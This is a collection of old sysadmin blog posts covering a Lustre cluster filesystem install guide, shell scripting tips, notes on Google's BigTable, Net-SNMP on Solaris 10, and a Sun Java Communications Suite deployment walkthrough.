Season in the Sun

A whole new world

2009-04-20T20:54:00.004+08:00

Oracle buys Sun Microsystem.

What will it look like when Oracle MySQL and Berkeley DB come together?

Which one is better Oracle Internet Directory(OID) or Sun Directory Server?

JAVA maybe is the only one that is needed by everyone

What will the fate of Solaris be， another Linux or FreeBSD？

Network is still computer， but Sun is no longer that Sun was.

Shell Programming Tips

2009-04-03T12:13:00.009+08:00

$Variables
$n：$1the first parameter，$2 the second one ...
$#：number of parameters
$0：name of current running program
$?：return value of command or function just have been called
$*：save all the parameters as "parameter 1, parameter 2, ..."
$@：save all the parameters as "parameter 1", "parameter 2", ...
$$：PID of this program
$!：PID of last program called by this program

read load value of variables from file
#cat VERSION
3.2.11

IFS=.
read MAJOR MINOR PATCH <> VERSION

Using &&
express1 && express2
the express right of "&&" will be executed when the left one return true.
Using ||
express1 || express2
the express right of "&&" will be executed when the left one fail to execute.

trap
trap " " 1 2 3 to ignore the SIGHUP SIGINT SIGQUIT signals
trap : 1 2 3 to receive the SIGHUP SIGINT SIGQUIT signals

Lustre File System at a glance

2008-02-27T10:02:00.004+08:00

Lustre is a very fast, multi-network, scalable cluster filesystem for Linux. It uses Object-Based Storage Devices (OBDs), to manage entire file objects (that is, inodes) instead of blocks. Several specific components/sub-systems of Lustre include Meta Data Servers (MDSs), Object Storage Targets (OSTs), and Lustre clients.

Lustre can be built from either a pre-packaged release or freely-available source code. Installing Lustre from a pre-existing package is quite straight-forward. Integrating Lustre into an existing kernel and building the associated Lustre software can be somewhat involved.

Lustre has been extensively tested with a selected set of distributions on i386, ia64, and x86_64 architectures, and also tested on PowerPC/PowerPC64 machines.
Lustre installation/configuration requires the following:

* Linux kernel patched with Lustre-specific patches
* Lustre modules compiled for the above kernel
* Lustre utilities required for configuration

Lustre Networking (LNET) software provides a network abstraction layer that simplifies using Lustre across multiple network types of. LNET and Lustre's administrative utilities require the following packages:

readline: Install the -devel version of this package, which includes the header files.

Lustre releases prior to version 1.6 also require:

libxml2: Install the -devel version of this package.
Python: http://www.python.org
PyXML: http://pyxml.sourceforge.net/

Several advanced Lustre functions, such as server failover, require packages and configuration outside of the scope of this document.

The RPMs/tarballs available on download site for every Lustre release:

kernel-smp-.rpm - Lustre-patched Linux kernel RPM; use with matching Lustre Utilities and Lustre Modules package below.
lustre-modules-.rpm - The Lustre kernel modules for the above kernel.
lustre-.rpm - Lustre Utilities - userspace utilities for configuring and running Lustre; please use only with matching kernel RPM, above.
kernel-source-.rpm - Lustre-patched Linux kernel source RPM - companion to the kernel package; not required to build or use Lustre
lustre-source-.rpm - Contains the Lustre source code (which includes the kernel patches), not required to build or use Lustre.

Lustre requires a number of patches to the core Linux kernel, mostly to export new functions, add features to ext3, and add a new locking path to the VFS. You can either patch your kernel with patches from the Lustre source tarball or download pre-patch kernel RPM along with matching lustre-lite-utils RPM.

There are two methods to install the Lustre software:

Install using RPMs (easy, but you must use a CFS kernel)
Install from source code (if you need your own kernel)

Using a Pre-patched Kernel RPM with Matching Lustre-utils RPM

Install the kernel RPM kernel-smp.rpm
Install the Lustre modules lustre-modules-.rpm
Install the utilities RPM lustre-.i386.rpm
Update lilo.conf or grub.conf to boot your new kernel
Reboot

The source code tarball for Lustre is located at: download site. As described above, Lustre requires a Linux kernel patched with some Lustre patches. A Lustre-patched kernel can be obtained in two ways:

Patching a core kernel with the relevant kernel patches from this source code tarball following instructions at: kernel patch management wiki.
Installing the pre-patched kernel RPM located at: download site

In general, CFS recommends that you obtain the pre-patched Lustre kernel RPM from download site. If you want to patch your own kernel:

1. Install quilt utility for patch management.

2. Copy the .config file in your kernel source, as it will be deleted in this process!

3. Refer to the lustre/kernel_patches/which_patch file to determine which patch series best fits your kernel.

The example below shows a sample which_patch file:

          SERIES               MEMNONIC                  COMMENT
         vanilla-2.4.24       linux-2.4.24              patch includes UML
         rhel-2.4.21          linux-rhel-2.4.21-15      RHEL3 2.4.21
         2.6-suse             linux-2.6.5               SLES9 2.6.5

4. Unsupported kernels may have patches at the Lustre Users Group.

5. Follow the instructions in KernelPatchManagement to patch the kernel Once the kernel is patched, rebuild the kernel as follows:

a. make distclean (this step is important!) (make sure to include jbd and ext3 support in the kernel or in a module)

b. cp save-dot-config .config

c. make oldconfig dep bzImage modules (make sure that preemption is disabled (in 2.6), and modules are enabled)

d. update lilo.conf or grub/menu.lst

e. Reboot with the new kernel.

CFS suggests that you download the tarball for Lustre source code and extract the contents as in the following example (this example assumes that you are using Lustre v1.0):

src$ tar zxvf lustre-.tar.gz

The following are sample build instructions for Lustre:

Note: If you are using a CVS checkout, you will need to run the following to create the configure script (automake version 1.5 or greater is necessary):

lustre$ sh autogen.sh

If you are building Lustre against a pre-patched kernel-source RPM for an already-built kernel RPM, there are a few steps to do first. Otherwise, if you have already built the kernel you can skip these steps.

[linux]$ cp /boot/config-`uname -r` .config
[linux]$ make oldconfig || make menuconfig
# For 2.6 kernels
[linux]$ make include/asm
[linux]$ make include/linux/version.h
[linux]$ make SUBDIRS=scripts
# For 2.4 kernels
[linux]$ make dep

Now to build the Lustre RPMs:

$ cd /your/source/for/lustre
[lustre]$ ./configure --with-linux=/your/patched/kernel/sources
[lustre]$ make rpms

[edit]
Patchless client

The Lustre client (only!) can be built against an unpatched 2.6.15-16 kernel. This results in some small performance losses, but may be worthwhile to some users for maintenance reasons. The Lustre configure script will automatically detect the unpatched kernel and disable building the servers.

[lustre]$ ./configure --with-linux=/unpatched/kernel/source

Lustre system consists of 3 types of subsystems - Clients, a Metadata Server (MDS), and Object Storage Targets (OST's). All of these can co-exist on a single system or can be running on different systems. A Lustre client system can also optionally contain a Logical (Object) Volume manager (LOV) that can transparently manage several OST's; this component is required for achieving file striping.

It is possible to set up the Lustre system in many different configurations using the administrative utilities provided with Lustre. Lustre includes some sample scripts in the /usr/src/lustre-1.4.7/lustre/tests directory on a system where Lustre has been installed (or the lustre/tests subdirectory of a source code installation) that enable quick setup of some simple, standard configurations.

Note - if your distribution does not contain these examples, skip down do the "Using Supplied Configuration Tools" section. Verify your mounted system as below.

This section provides an overview of using these scripts to set up a simple Lustre installation.

1. Single System Test using the llmount.sh script:

The simplest Lustre installation is a configuration where all three subsystems execute on a single node. You can execute the script llmount.sh, located in the /usr/src/lustre-1.4.7/lustre/tests/ directory, to set up, initialize, and start the Lustre file system for a single node system. This script first executes a configuration script identified by a 'NAME' variable. This configuration script uses the lmc utility to generate a XML configuration file, which is then used by the lconf utility to do the actual system configuration. The llmount.sh script then loads all of the modules required by the specified configuration.

Next, the script creates small loopback filesystems in /tmp for the server nodes. You can change the size and location of these files by modifying the configuration script.

Finally, the script mounts the Lustre file system at the mount-point specified in the initial configuration script, the default used is /mnt/lustre. The following are all of the steps needed to configure and test Lustre for a single system: The llmount.sh script is mostly useful for initial testing with Lustre to hide many of the background steps needed to configure Lustre, it is not indended to be used as a configuration tool for production installations.

a. Starting the System: Two initial configuration scripts are provided for a single system test. Any changes to the loopback filesystem locations or sizes, or Lustre filesystem mountpoint have to be made in these scripts. i. local.sh: This script contains lmc commands that generate an XML (local.xml) configuration file for a system with a single MDS, OST, and Client. ii. lov.sh: This script contains lmc commands that generate a configuration file with an MDS, LOV, two OST's and a Client.

b. Execute the llmount.sh script as shown below, specifying setup based on either local.sh or lov.sh:

NAME={local|lov} sh llmount.sh
Sample output from executing this command on a random system looks like the following:

# NAME=local sh llmount.sh
config.portals ../utils/../portals
loading module: portals srcdir ../utils/../portals devdir libcfs
loading module: ksocknal srcdir ../utils/../portals devdir knals/socknal
loading module: obdclass srcdir ../utils/.. devdir obdclass
loading module: ptlrpc srcdir ../utils/.. devdir ptlrpc
loading module: ldlm srcdir ../utils/.. devdir ldlm
loading module: ost srcdir ../utils/.. devdir ost
loading module: fsfilt_ext3 srcdir ../utils/.. devdir obdclass
loading module: obdfilter srcdir ../utils/.. devdir obdfilter
loading module: mds srcdir ../utils/.. devdir mds
loading module: osc srcdir ../utils/.. devdir osc
loading module: mdc srcdir ../utils/.. devdir mdc
loading module: llite srcdir ../utils/.. devdir llite
The GDB module script is in /r/tmp/ogdb-localhost.localdomain
NETWORK: NET_localhost_tcp NET_localhost_tcp_UUID tcp localhost 988
LDLM: ldlm ldlm_UUID
OSD: ost1 ost1_UUID obdfilter /tmp/ost1 200000 ext3 no 0
MDSDEV: mds1 mds1_UUID /tmp/mds1 ext3 no
OSC: OSC_localhost.localdomain_ost1_MNT_localhost 2dd80_OSC_localhost.local_6c1af22326 ost1_UUID
MDC: MDC_localhost.localdomain_mds1_MNT_localhost 4d135_MDC_localhost.local_771336bde1 mds1_UUID
MTPT: MNT_localhost MNT_localhost_UUID /mnt/lustre mds1_UUID ost1_UUID
#

You can the verify that the file system has been mounted from the output of df:

# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/ubd/0 1011928 362012 598512 38% /
/dev/ubd/1 6048320 3953304 1787776 69% /r
none 193712 16592 167120 10% /mnt/lustre

#

Note: The output of the df command following the output of the script shows that a Lustre filesystem as been mounted on the mount-point /mnt/lustre. The actual output of the script included with your Lustre installation may have changed due to enhancements or additional messages, but should resemble the example.

You can also verify that the Lustre stack has been set up correctly by observing the output of find /proc/fs/lustre:

# find /proc/fs/lustre

/proc/fs/lustre
/proc/fs/lustre/llite
....
/proc/fs/lustre/ldlm/ldlm/ldlm_canceld/service_stats
/proc/fs/lustre/ldlm/ldlm/ldlm_cbd
/proc/fs/lustre/ldlm/ldlm/ldlm_cbd/service_stats

#

Note: The actual output may depend on what modules are being inserted and what OBD devices are being instantiated. Also note that the filesystem statistics presented from /proc/fs/lustre are expected to be the same as those obtained from df.

c. Bringing down a cluster and cleanup using script llmountcleanup.sh:

Cleanup and unmounting of the filesystem can be done as shown below:

NAME= sh llmountcleanup.sh

d. Remounting the Filesystem using script llrmount.sh:

Remounting can be done with the llrmount.sh script as shown below. Using llmount.sh again will reformat the devices so llrmount.sh should be used if you want to keep the data in the filesystem:

NAME= sh llrmount.sh

As described in earlier sections, Lustre uses clients, a metadata server, and object storage targets. It is possible to set up Lustre on either a single system or on multiple systems. The Lustre distribution comes with utilities that can be used to create configuration files easily and set up Lustre for various configurations. Lustre uses three administrative utilities - lmc, lconf, and lctl - to configure nodes for any of these topologies. The lmc utility can be used to create configuration files in the form of XML files that describe a configuration. The lconf utility uses the information in this configuration file to invoke low-level configuration utility lctl to actually configure systems. Further details on these utilities can be found in the man pages. The complete configuration for the whole cluster should be kept in a single file. The same file will be used on all the cluster nodes to configure the individual nodes.

The next few sections describe the process of setting up a variety of configurations.

Note: you can use "lconf -v" to show more verbose messages when running other lconf commands.

Important: You must use fstype = ext3 for Linux 2.4 kernels, and fstype = ldiskfs for 2.6 kernels. (In 2.4, Lustre patches the ext3 driver, and in 2.6 provides its own.)

1. Client, MDS, and two OSTs on a single node:

This is a simple configuration script where the client, MDS, and the OSTs are running on a single system. The lmc utility can be used to generate a configuration file for this as shown below. All the devices in the script below are shown to be loopback devices, but you can specify any device here. The size option is required only for the loopback devices; for others the utility will extract the size from the device parameters. (See Using Real Disks below).

#!/bin/sh

# local.sh

# Create node
rm -f local.xml
lmc -m local.xml --add node --node localhost
lmc -m local.xml --add net --node localhost --nid localhost --nettype tcp

# Configure MDS
lmc -m local.xml --format --add mds --node localhost --mds mds-test --fstype ext3 --dev /tmp/mds-test --size 50000

# Configure OSTs
lmc -m local.xml --add lov --lov lov-test --mds mds-test --stripe_sz 1048576 --stripe_cnt 0 --stripe_pattern 0
lmc -m local.xml --add ost --node localhost --lov lov-test --ost ost1-test --fstype ext3 --dev /tmp/ost1-test --size 100000
lmc -m local.xml --add ost --node localhost --lov lov-test --ost ost2-test --fstype ext3 --dev /tmp/ost2-test --size 100000

# Configure client
lmc -m local.xml --add mtpt --node localhost --path /mnt/lustre --mds mds-test --lov lov-test

When this script is run these commands create a local.xml file describing the specified configuration. The actual configuration could then be executed using the following command:

# Configuration using lconf
$ sh local.sh
$ lconf --reformat local.xml

This command would load all the required Lustre and Portals modules, and would also do all the low level configuration of every device using lctl. The reformat option here is essential at least the first time to initialize the filesystems on OST's and MDS's. If it is used on any subsequent attempts to bring up the Lustre system, it will re-initialize the filessystems.

2.Multiple Nodes

Lustre can also be set up on multiple systems, with the client on one or more systems, the MDS on another system, and the OSTs on yet other nodes. The following is an example of the configuration script that could be used to create such a setup. In the below examples, replace node-* with the hostnames of real systems. The servers, clients, and the node running the configuration script all need to be able to resolve those hostnames into IP addresses via DNS or /etc/hosts. One common problem with some Linux setups is that the hostname is mapped in /etc/hosts to 127.0.0.1, which causes the clients to be unable to communicate to the servers.

#!/bin/sh

# config.sh

# Create nodes
rm -f config.xml
lmc -m config.xml --add net --node node-mds --nid node-mds --nettype tcp
lmc -m config.xml --add net --node node-ost1 --nid node-ost1 --nettype tcp
lmc -m config.xml --add net --node node-ost2 --nid node-ost2 --nettype tcp
lmc -m config.xml --add net --node node-ost3 --nid node-ost3 --nettype tcp
lmc -m config.xml --add net --node client --nid '*' --nettype tcp

# Cofigure MDS
lmc -m config.xml --add mds --node node-mds --mds mds-test --fstype ext3 --dev /tmp/mds-test --size 50000

# Configures OSTs
lmc -m config.xml --add lov --lov lov-test --mds mds-test --stripe_sz 1048576 --stripe_cnt 0 --stripe_pattern 0
lmc -m config.xml --add ost --node node-ost1 --lov lov-test --ost ost1-test --fstype ext3 --dev /tmp/ost1-test --size 100000
lmc -m config.xml --add ost --node node-ost2 --lov lov-test --ost ost2-test --fstype ext3 --dev /tmp/ost2-test --size 100000
lmc -m config.xml --add ost --node node-ost3 --lov lov-test --ost ost3-test --fstype ext3 --dev /tmp/ost3-test --size 100000

# Configure client (this is a 'generic' client used for all client mounts)
lmc -m config.xml --add mtpt --node client --path /mnt/lustre --mds mds-test --lov lov-test

# Generate the config.xml (once). Put the file in a place where all nodes can get to it.
$ sh config.sh

# Start up OST's first
$ lconf --reformat --node node-ost1 config.xml
$ lconf --reformat --node node-ost2 config.xml
$ lconf --reformat --node node-ost3 config.xml

# Then MDS's (which try to connect to the OST's)
$ lconf --reformat --node node-mds config.xml

# And finally clients (which try to connect to OST's and MDS's).
$ lconf --node client config.xml
# Or use 0-config "mount" command for clients (see below)
$ mount -t lustre node-mds:/mds-test/client /mnt/lustre

Startup of clients and servers using lconf can actually occur in any order, but startup may block until all the servers that the node needs are up and communicating.

Lustre can use any physical device that can be formatted as an EXT3 filesystem. An entire scsi drive could be specified as --dev /dev/sdb, or a single partition could be specified as /dev/sdb2. The --reformat option to lconf will completely erase and reformat the drive or partition for use with Lustre - use with caution.

Lustre provides support for mounting the Lustre file system using a simple NFS-like mount command. The client configuration information is recorded on the MDS when the MDS is reformatted. Subsequently, when a mount command is invoked on the client, the configuration log on the MDS is read and the required devices setup and configured on the client. The filesystem mount-point is specified in the mount command. The XML file is not needed for 0-config clients. In order to support 0-config, you will have to modify your modprobe-configuration so that modprobe know how to load the modules for Lustre. The mount command will be similar to:

mount -t lustre [-o nettype=] mdshost:/mdsname/client-profile

A network type of tcp is the default. The client-profile is the client node name (passed as --node argument to lmc). Please note that for 0-config to work, the node must have a mount-point entry specified with lmc's --add mtpt command. The lustre/conf/modules.conf file illustrates the changes that need to be made to your modules.conf file for 0-config on linux-2.4:

# sample modules.conf for autoloading lustre modules on zeroconf clients

add below kptlrouter portals
add below ptlrpc ksocknal
add below llite lov osc
alias lustre llite

Modutils for linux-2.6 uses a different configuration-file. The entries should be added to modprobe.conf.local or to a new file in the /etc/modprobe.d/ directory:

# sample modprobe.conf.local for autoloading lustre modules on zeroconf clients

install kptlrouter /sbin/modprobe portals; /sbin/modprobe --ignore-install kptlrouter
install ptlrpc /sbin/modprobe ksocknal; /sbin/modprobe --ignore-install ptlrpc
install llite /sbin/modprobe lov; /sbin/modprobe osc; /sbin/modprobe --ignore-install llite
alias lustre llite

# sample modprobe.conf.local for autoloading lustre modules on zeroconf clients with elan

install kptlrouter /sbin/modprobe portals; /sbin/modprobe --ignore-install kptlrouter
install kqswnal /sbin/modprobe kptlrouter; /sbin/modprobe --ignore-install kqswnal
install ksocknal /sbin/modprobe kqswnal; /sbin/modprobe --ignore-install ksocknal
install ptlrpc /sbin/modprobe ksocknal; /sbin/modprobe --ignore-install ptlrpc
install llite /sbin/modprobe lov osc; /sbin/modprobe --ignore-install llite
alias lustre llite

Note that if you are working from RPM's then you must install the lustre-lite-utils RPM as well as the kernel RPM otherwise this will fail with the error:

LustreError: 6946:(llite_lib.c:540:lustre_fill_super()) Unable to process log:
LustreError: 6946:(llite_lib.c:603:lustre_fill_super()) Unable to process log: -clean

Once your Lustre filesystem has been mounted on a client, you are able to create files and directories subject to normal Linux file/directory permissions: touch /mnt/lustre/foo

Once your Lustre filesystem has been mounted on a client, you are able to create files and directories subject to normal Linux file/directory permissions: touch /mnt/lustre/foo

To get a sense of the performance of the file system, run the "vmstat" utility on the OSS's while creating files on the lustre file system. Using "iozone" will give a more accurate performance measure than "dd" in our example:

oss1> vmstat 1
oss2> vmstat 1
client> dd of=/mnt/lustre/bigfile if=/dev/zero bs=1048576
or
client> cd /mnt/lustre; iozone -a

The "bo" column from vmstat will show blocks (1024 bytes) out every second, so this gives a throughput rate in KB/sec.

A user-space library version of the Lustre file system is now available for some versions of Lustre, it gives a user application linked with the library access to Lustre file systems. The key goals for the library are to provide a portable mechanism to access Lustre from different POSIX compliant operating systems, to provide access from microkernel based systems and from the Windows operating system.

More information is available at LibLustreHowTo.

Google's BigTable

2007-12-03T15:10:00.000+08:00

官方的 Google Reader blog 中有对BigTable 的解释。这是Google 内部开发的一个用来处理大数据量的系统。这种系统适合处理半结构化的数据比如 RSS 数据源。以下发言是 Andrew Hitchcock 在 2005 年10月18号基于： Google 的工程师 Jeff Dean 在华盛顿大学的一次谈话 (Creative Commons License).

首先，BigTable 从 2004 年初就开始研发了，到现在为止已经用了将近8个月。（2005年2月）目前大概有100个左右的服务使用BigTable，比如： Print,Search History,Maps和 Orkut。根据Google的一贯做法，内部开发的BigTable是为跑在廉价的PC机上设计的。BigTable 让Google在提供新服务时的运行成本降低，最大限度地利用了计算能力。BigTable 是建立在 GFS ，Scheduler ，Lock Service 和 MapReduce 之上的。

每个Table都是一个多维的稀疏图 sparse map。Table 由行和列组成，并且每个存储单元 cell 都有一个时间戳。在不同的时间对同一个存储单元cell有多份拷贝，这样就可以记录数据的变动情况。在他的例子中，行是URLs ，列可以定义一个名字，比如：contents。Contents 字段就可以存储文件的数据。或者列名是：”language”，可以存储一个“EN”的语言代码字符串。

为了管理巨大的Table，把Table根据行分割，这些分割后的数据统称为：Tablets。每个Tablets大概有 100-200 MB，每个机器存储100个左右的 Tablets。底层的架构是：GFS。由于GFS是一种分布式的文件系统，采用Tablets的机制后，可以获得很好的负载均衡。比如：可以把经常响应的表移动到其他空闲机器上，然后快速重建。

Tablets在系统中的存储方式是不可修改的 immutable 的SSTables，一台机器一个日志文件。当系统的内存满后，系统会压缩一些Tablets。由于Jeff在论述这点的时候说的很快，所以我没有时间把听到的都记录下来，因此下面是一个大概的说明：

压缩分为：主要和次要的两部分。次要的压缩仅仅包括几个Tablets，而主要的压缩时关于整个系统的压缩。主压缩有回收硬盘空间的功能。Tablets的位置实际上是存储在几个特殊的BigTable的存储单元cell中。看起来这是一个三层的系统。

客户端有一个指向METAO的Tablets的指针。如果METAO的Tablets被频繁使用，那个这台机器就会放弃其他的tablets专门支持METAO这个Tablets。METAO tablets 保持着所有的META1的tablets的记录。这些tablets中包含着查找tablets的实际位置。（老实说翻译到这里，我也不太明白。）在这个系统中不存在大的瓶颈，因为被频繁调用的数据已经被提前获得并进行了缓存。

现在我们返回到对列的说明：列是类似下面的形式： family:optional_qualifier。在他的例子中，行：www.search-analysis.com 也许有列：”contents:其中包含html页面的代码。 “ anchor:cnn.com/news” 中包含着相对应的url，”anchor:www.search-analysis.com/” 包含着链接的文字部分。列中包含着类型信息。

注意这里说的是列信息，而不是列类型。列的信息是如下信息，一般是：属性/规则。比如：保存n份数据的拷贝或者保存数据n天长等等。当 tablets 重新建立的时候，就运用上面的规则，剔出不符合条件的记录。由于设计上的原因，列本身的创建是很容易的，但是跟列相关的功能确实非常复杂的，比如上文提到的类型和规则信息等。为了优化读取速度，列的功能被分割然后以组的方式存储在所建索引的机器上。这些被分割后的组作用于列 ,然后被分割成不同的 SSTables。这种方式可以提高系统的性能，因为小的，频繁读取的列可以被单独存储，和那些大的不经常访问的列隔离开来。

在一台机器上的所有的 tablets 共享一个log，在一个包含1亿的tablets的集群中，这将会导致非常多的文件被打开和写操作。新的log块经常被创建，一般是64M大小，这个 GFS的块大小相等。当一个机器down掉后，控制机器就会重新发布他的log块到其他机器上继续进行处理。这台机器重建tablets然后询问控制机器处理结构的存储位置，然后直接对重建后的数据进行处理。

这个系统中有很多冗余数据，因此在系统中大量使用了压缩技术。

Dean 对压缩的部分说的很快，我没有完全记下来，所以我还是说个大概吧：压缩前先寻找相似的行，列，和时间数据。

他们使用不同版本的： BMDiff 和 Zippy 技术。

BMDiff 提供给他们非常快的写速度： 100MB/s – 1000MB/s 。Zippy 是和 LZW 类似的。Zippy 并不像 LZW 或者 gzip 那样压缩比高，但是他处理速度非常快。

Dean 还给了一个关于压缩 web 蜘蛛数据的例子。这个例子的蜘蛛包含 2.1B 的页面，行按照以下的方式命名：“com.cnn.www/index.html:http”.在未压缩前的web page 页面大小是：45.1 TB ，压缩后的大小是：4.2 TB ，只是原来的 9.2%。Links 数据压缩到原来的 13.9% , 链接文本数据压缩到原来的 12.7%。

Google 还有很多没有添加但是已经考虑的功能。

1. 数据操作表达式，这样可以把脚本发送到客户端来提供修改数据的功能。
2. 多行数据的事物支持。
3. 提高大数据存储单元的效率。
4. BigTable 作为服务运行。
好像：每个服务比如： maps 和 search history 历史搜索记录都有他们自己的集群运行 BigTable。
他们还考虑运行一个全局的 BigTable 系统，但这需要比较公平的分割资源和计算时间.

Solaris 10 and Net-SNMP

2007-10-30T10:20:00.000+08:00

Net-SNMP is provided in Solaris 10 release now, and how to use it is descripted in this article.

To disable Sun's SNMP
#svcadm disable svc:/application/management/snmpdx:default

the Net-SNMP daemon program locates at /usr/sfw/sbin/snmpd, and configure file of snmpd saved with the name snmpd.conf at /etc/sma/snmp. Use svcadm to start of stop snmpd:
#svcadm enable svc:/application/management/sma:default
#svcadm disable svc:/application/management/sma:default

Log File
if there's any error or warning messages, see the file /var/svc/log/application-management-sma\:default.log. The default log file of snmpd is /var/log/snmpd.log.

Configuration file
We may use /etc/sma/snmp/snmpd.conf.save as the working configure file to test wheather our snmpd daemon is ok.
#cp /etc/sma/snmp/snmpd.conf.save /etc/sma/snmp/snmpd.conf
#svcadm restart sma

P.S. There's another file also named as snmpd.conf stored in /var/sma_snmp directory, and which is called persistent storage file. The persistent storage file, /var/sma_snmp/snmpd.conf, contains USM security information and any MIB components that are set for persistent storage. This file also contains the engineID and the engineID boots. This persistent storage file is automatically updated when the System Management Agent starts. When the System Management Agent stops, the snmpusm and snmpvacm utilities write user security information to this storage file.

Using the AgentX Protocol
The AgentX protocol is supported in the System Management Agent. By default, the System Management Agent ships with a secure profile, that is, read–only access. AgentX allows interaction with third party subagents, provided that these subagents support AgentX over Unix Domain Sockets. For security reasons, AgentX is not supported over TCP/UDP. For more information on the AgentX protocol, see http://www.ietf.org/rfc/rfc2741.txt Edit the main /etc/sma/snmp/snmpd.conf configuration file to configure the System Management Agent to use the AgentX protocol. By default, the AgentX protocol is disabled. The following procedure describes how to enable the AgentX protocol. To enable the AgentX protocol add the following to /etc/sma/snmp/snmpd.conf file:

master agentx

restart the sma (system management agent).
# svcadm restart svc:/application/management/sma:default

Using the SMA
To view the status of the agent
# svcs svc:/application/management/sma:default

To See Which MIBs Are Initialized
# /usr/sfw/sbin/snmpd -Dregister_mib -Dmib_init -L

To Check the Disk Space and Network on a Local or Remote Machine
# /usr/sfw/bin/snmpwalk -v1 -c public localhost HOST-RESOURCES-MIB::hrStorageIndex

# /usr/sfw/bin/snmpget -v1 -c public localhost HOST-RESOURCES-MIB::hrStorageSize.1

# /usr/sfw/bin/snmpwalk -v1 -c public localhost HOST-RESOURCES-MIB::hrStorageUsed

# /usr/sfw/bin/snmpnetstat -v 2c -c public -a localhost

if all these works, congratulations, the sma is configured and brought on properly.

Common Array Manager

2007-06-12T23:39:00.000+08:00

One of the most silly things Sun have done is to manage disk array using Java web console. When you want to set the disk array such as STK 6140 or 6540, you have to install Java, Tomcat and Common array manager on your Windows laptop.

When all components above installed succsessfully, remember to modify your firewall settings and registry, or you'll get "Authentication failed" message when logining to the Java web console.

using regedit on your XP system and set

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ForceGuest

to 0.

Sun Java Communications Suite 5 on Multi-Hosts

2007-05-30T21:17:00.000+08:00

This deployment example describes how to install Sun Java™ Communications Suite 5 software on multi-hosts for a functioning deployment. This document is intended for any evaluator, system administrator, or installation technician who wants to install and evaluate the services delivered by these components.

This deployment example contains the following sections:
Summary of Changes
About This Deployment Example
Installing the Example
Configuring Components
Starting and Stopping Communications Services
Accessing Sun Resources Online

Summary of Changes
The following describes the changes that have occurred from the Sun Java System Communications Services 6 2005Q4 single host installation example (as described in Deployment Example: Sun Java Communications Services 2005Q4 on a Single Host):

Portal Server is no longer installed.

Solaris™ Operating System (OS) 10 is used.

Hosted domains are now configured.

All Communications Express UI rendering elements are now deployed in the same web container to support Single Sign-On. As a result, Access Manager is no longer required for Communications Express and there are fewer configuration settings that you have to enter

About This Deployment Example

This section provides an overview of this deployment scenario, the hardware and software used, and the procedures you follow to install, configure, and use this deployment.

This section contains the following topics:

Installation Overview
Implementation Specifications for This Example
Summary of Installation and Configuration
Installation Overview

This scenario results in a functioning deployment suited for the evaluation and testing of Sun Java Communications Suite 5. These instructions are merely intended to guide the evaluator through an initial installation.

What Components Are Installed?

This example guides you through installing the following Communications Suite and Java Enterprise System components:

Sun Java System Messaging Server 6.3

Sun Java System Calendar Server 6.3

Sun Java System Communications Express 6.3

Sun Java System Directory Preparation Tool 6.4

Communications Services Delegated Administrator 6.4

Sun Java System Web Server 7.0

Sun Java System Message Queue 3.7 UR1

Sun Java System Access Manager 7.1

Sun Java System Directory Server Enterprise Edition 6.0

All Shared Components

The example installation in this document uses the following data that you change according to your installation and test machine:

domain name: abc.beta.com

host name: am(172.18.61.126), ds(172.18.61.125), mail(172.18.61.95) (all running Solaris OS 10 x86)

password: adminpass used for all passwords except the amldapuser password

Recommended Ports

For convenience, this example uses a set of recommended ports. If you use different ports, be sure to make the changes consistently throughout the installation. For example, this document uses port 8800 for the Web Server admin port. If you decide to use port 3333 instead, be sure to change it everywhere 8800 occurs in the deployment example.

Note

Unless otherwise indicated, all of the examples and instructions in this document assume that you are logged in as root.

Implementation Specifications for This Example

This section describes implementation specifications for this example.

Table 2 Evaluation Host Hardware and Software Requirements

Component

Platform Requirement

CPU

Intel

RAM

2 Gbytes or more

Disk space

2.2 Gbytes or more free disk space for installed software. 2.1 Gbytes additional disk space may be needed for temporary storage of Communications Suite zip files.

Software

Solaris 10 OS.
mail, am and ds are seprated zones on a single host.

Users

Provisioned with test users

Table 3 Client Software Requirements

Component

Platform Requirement

Browser

Netscape™ Communication 7.1, Internet Explorer 6.0 sp4+, or Mozilla™ 1.7.12, Firefox 2.0.3

Summary of Installation and Configuration

Installing and configuring this example involves the following high-level steps:

Preparing the system for Sun Java Communications Suite

Running the Java ES installer and selecting the necessary components

Installing Messaging Server, Calendar Server, Communications Express, Delegated Administrator, Instant Messaging, Web Server, Directory Server, and Access Manager software

Configuring Delegated Administrator

Configuring Messaging Server

Configuring Calendar Server

Configuring Communications Express

Configuring users

Installing the Example

This section describes how to install and configure components on multiple systems for evaluation purposes. Some components are configured after installation, using component configuration tools.

This section contains the following topics:

Checking Installation Requirements
Installing the Components
Uninstalling the Components
Checking Installation Requirements

Before you install components, use the steps in this section to make sure the computer on which you are installing is ready.

To Check System Requirements

The computer should meet the following requirements:

These instructions assume all actions are performed by the root user.

The computer must have 2.2 GB free disk space for the zip files and zip image. Recommendation: Have image already unzipped.

To Check DNS

Verify that DNS is running and configured properly:

Make sure that the /etc/resolv.conf file has name server entries with the IP addresses of valid name servers. For example:

domain abc.beta.com

nameserver 172.18.61.120

Make sure that the /etc/hosts file has an entry for the fully qualified host name of the server. This fully qualified host name should be listed before the non fully qualified host name. For example:

172.18.61.125 ds
172.18.61.126 am
172.18.61.95 mail

Make sure that the /etc/nsswitch.conf file is configured to use files first to resolve host names. The hosts line in the nsswitch.conf file should list files first in its entry:

hosts: files dns

To Unzip the Sun Java Communications Services Zip Files

Download the Communications Suite software.

Create a filesystem and mount it on the global zone, and mount it as lofs to non-global zones.
Unzip the Communications Suite zip files in this directory. Then run the Java ES installer as described in the next section.

Installing the Components

You install Communications Suite components by running the Java Enterprise System installer.

To Start the Installer

Log in as root to the machine on which you are installing Communications Suite software.

Change to the JCS5 directory where you stored and unzipped the Communications Suite zip files.

Change to the sun_java_commsuite5 directory

Change to the Solaris_x8 platform directory.

Start the Java Enterprise System installer in graphical mode.

./installer

Note

Solaris OS 10 installs an earlier version of the Message Queue (and possibly other software). You may need to upgrade this product prior to installing Communications Suite software. The Java ES installer detects that your system has an earlier version of a product and may present you with an option to Upgrade Existing Software. If you are presented with this option, continue with Step 8 that follows this note. If you are not presented with this option, skip to Step 19. If you are presented with the upgrade option, simply select the item to be upgraded and run the Java ES installer to upgrade the component. After the installer upgrades the component (or components), you can quit the installer then restart it to install the remaining Communications Suite components. Then you need to repeat the preceding steps.

Click Next at the Welcome page.
Accept the license.
Select the Upgrade existing software radio button then click Next to continue.

Select the following products then click Next:

Sun Java System Message Queue 3.7 UR1

All Shared Components

Note

